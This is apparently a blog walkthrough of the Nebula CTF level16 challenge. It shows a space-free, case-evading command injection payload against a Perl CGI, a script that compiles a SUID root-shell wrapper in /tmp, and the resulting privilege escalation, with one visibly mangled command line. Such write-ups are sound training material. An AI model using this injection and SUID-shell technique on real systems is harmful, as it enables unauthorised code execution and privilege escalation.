Monday, September 3, 2012

nebula level16

Level details:
There is a perl script running on port 1616.
Source code:

Once again we're dealing with command injection, but this time you'll notice that there's some restrictions to our input. The username is first converted to uppercase then removed everything after the first space. We can overcome the first restriction easily using the case modification features that bash provides (read "Case modification" in the bash man page). Here's a quick test:
level16@nebula:~$ VAR="HACK THE PLANET"
level16@nebula:~$ echo ${VAR,,}
hack the planet
So far so good.
Now the second restriction, no spaces. Looking at where the $username variable is, we'll need to close egrep's pattern's double-quote:
"
But egrep also needs an input file, and we don't want it to read from the standard input since we don't have control over that. But a second argument requires a space to be inserted. What we can do is pipe in /dev/null to the standard input:
"</dev/null
Now we need to inject our command. Since no spaces are allowed, we can inject a minimal command that invokes a shell script. Let's assume for a moment that we have the shell script in /tmp/mkshell that makes a SUID shell for us. The input at this point looks like:
"</dev/null;/tmp/mkshell;
Now we need to close up. We can ignore everything that follows by marking it as a comment.
"</dev/null;/tmp/mkshell;#
But you do remember that everything gets converted to uppercase, right? The actual command executed will be:
"</DEV/NULL;/TMP/MKSHELL;#
There's not much we can do about the /DEV/NULL, except put in a non-existent file. bash won't execute the egrep command, but it will execute everything else. /DEV/NULL is already non-existent so we might just as well leave it.
We can put /TMP/MKSHELL in a variable and use case modification as explained above.
"</dev/null;a=/tmp/mkshell;${a,,};#
After uppercase conversion, this looks like:
"</DEV/NULL;A=/TMP/MKSHELL;${A,,};#
Now we write /tmp/mkshell.
level16@nebula:~$ cat > /tmp/mkshell
#!/bin/sh

cat << EOF > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
EOF
cc -o /tmp/flag16_sh /tmp/shell.c
chmod +s /tmp/flag16_sh
Now, just like level07, we need to URL-encode the input before submitting the HTTP request. Let's get that flag.
level16@nebula:~$ username=$(php -r 'echo urlencode("\" lethal_data              level16@nebula:~$ wget -q -O - --post-data=lethal_data 'localhost:1616/index.cgi'Login resulsYour login failed
Would you like a cookie?

level16@nebula:~$ /tmp/flag16_sh sh-4.2$ id uid=983(flag16) gid=1017(level16) egid=983(flag16) groups=983(flag16),1017(level16) sh-4.2$ getflag You have successfully executed getflag on a target account
A few more flags and we'll be on our way to protostar ;)

~ Dmitry

1 comment:

  1. Hi, great blog, very helpful info. Thanks a lot for sharing!
    I got a question about your solution to level16:
    Why do you chmod +s the shellcode? You own it, so when the cgi executes it, it would run with your privileges, right? I expect to be wrong, cause apparently it worked for you, but I dont get it.

    ReplyDelete